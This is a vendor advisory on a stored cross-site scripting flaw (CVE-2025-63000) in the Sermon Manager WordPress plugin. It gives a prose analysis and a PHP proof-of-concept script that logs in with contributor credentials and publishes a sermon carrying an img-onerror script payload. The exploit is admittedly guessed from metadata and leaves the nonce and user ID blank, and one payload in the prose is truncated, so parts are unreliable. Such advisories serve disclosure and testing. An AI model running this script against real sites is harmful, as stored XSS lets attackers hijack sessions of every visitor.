Atomic Edge analysis of CVE-2025-63000 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Sermon Manager WordPress plugin up to version 2.30.0. The vulnerability allows attackers with contributor-level or higher WordPress user permissions to inject malicious scripts into website content. These scripts execute in the browsers of users who view the compromised pages.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping, consistent with CWE-79. The plugin likely fails to properly sanitize user-supplied input before storing it in the database or escapes that data before rendering it in browser contexts. This conclusion is inferred from the CWE classification and vulnerability description, as no source code diff is available for confirmation. The vulnerability affects content creation or editing functionality accessible to contributor-level users.
Exploitation requires an authenticated attacker with at least contributor privileges. The attacker would access sermon creation or editing interfaces, likely through WordPress admin endpoints like `/wp-admin/post.php` or `/wp-admin/admin-ajax.php`. They would inject JavaScript payloads into vulnerable fields, possibly including sermon titles, descriptions, or custom metadata fields. A typical payload might be `
` or similar script tags that execute when the content renders.
Remediation requires implementing proper input validation and output escaping. The plugin developers should apply WordPress sanitization functions like `sanitize_text_field()` or `wp_kses()` to user input before database storage. They must also use appropriate escaping functions like `esc_html()` or `esc_attr()` when outputting data to browser contexts. WordPress nonce verification and capability checks should remain intact to maintain proper access controls.
Successful exploitation enables attackers to perform actions within victim browsers. Attackers can steal session cookies, redirect users to malicious sites, or modify page content. Since the vulnerability is stored XSS, a single injection affects all users viewing the compromised content. The CVSS vector indicates scope change (S:C), meaning the vulnerability can impact components beyond the vulnerable plugin itself.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-63000 - Sermon Manager <= 2.30.0 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-63000
* Assumptions based on metadata analysis:
* 1. The plugin has sermon creation/editing functionality accessible to contributors
* 2. Vulnerable parameters exist in sermon submission forms
* 3. The plugin uses standard WordPress admin endpoints
* 4. Authentication requires valid contributor credentials
*/
$target_url = 'https://target-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
// XSS payload - modify as needed for testing
$payload = '<img src=x onerror="alert(`XSS via CVE-2025-63000`)">';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded'
]
]);
$response = curl_exec($ch);
// Check login success by looking for dashboard elements
if (strpos($response, 'wp-admin-bar') === false) {
die('Login failed. Check credentials.');
}
// Attempt to exploit via assumed sermon creation endpoint
// Based on plugin slug 'sermon-manager-for-wordpress', likely uses custom post type
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/post-new.php?post_type=wpfc_sermon',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'post_title' => 'Compromised Sermon ' . time(),
'content' => $payload, // Assuming 'content' field is vulnerable
'wpfc_sermon_series' => 'test', // Example custom field
'action' => 'editpost',
'_wpnonce' => '', // Nonce would need to be extracted from form
'_wp_http_referer' => '', // Referer would need to be set
'post_type' => 'wpfc_sermon',
'user_ID' => '', // Would need to be populated
'publish' => 'Publish'
])
]);
$response = curl_exec($ch);
// Check for success indicators
if (strpos($response, 'post-publish') !== false || strpos($response, 'message=saved') !== false) {
echo 'Potential exploitation attempted. Check sermon listing for XSS payload.';
} else {
echo 'Submission may have failed. Manual testing required to identify exact vulnerable parameters.';
}
curl_close($ch);
?>
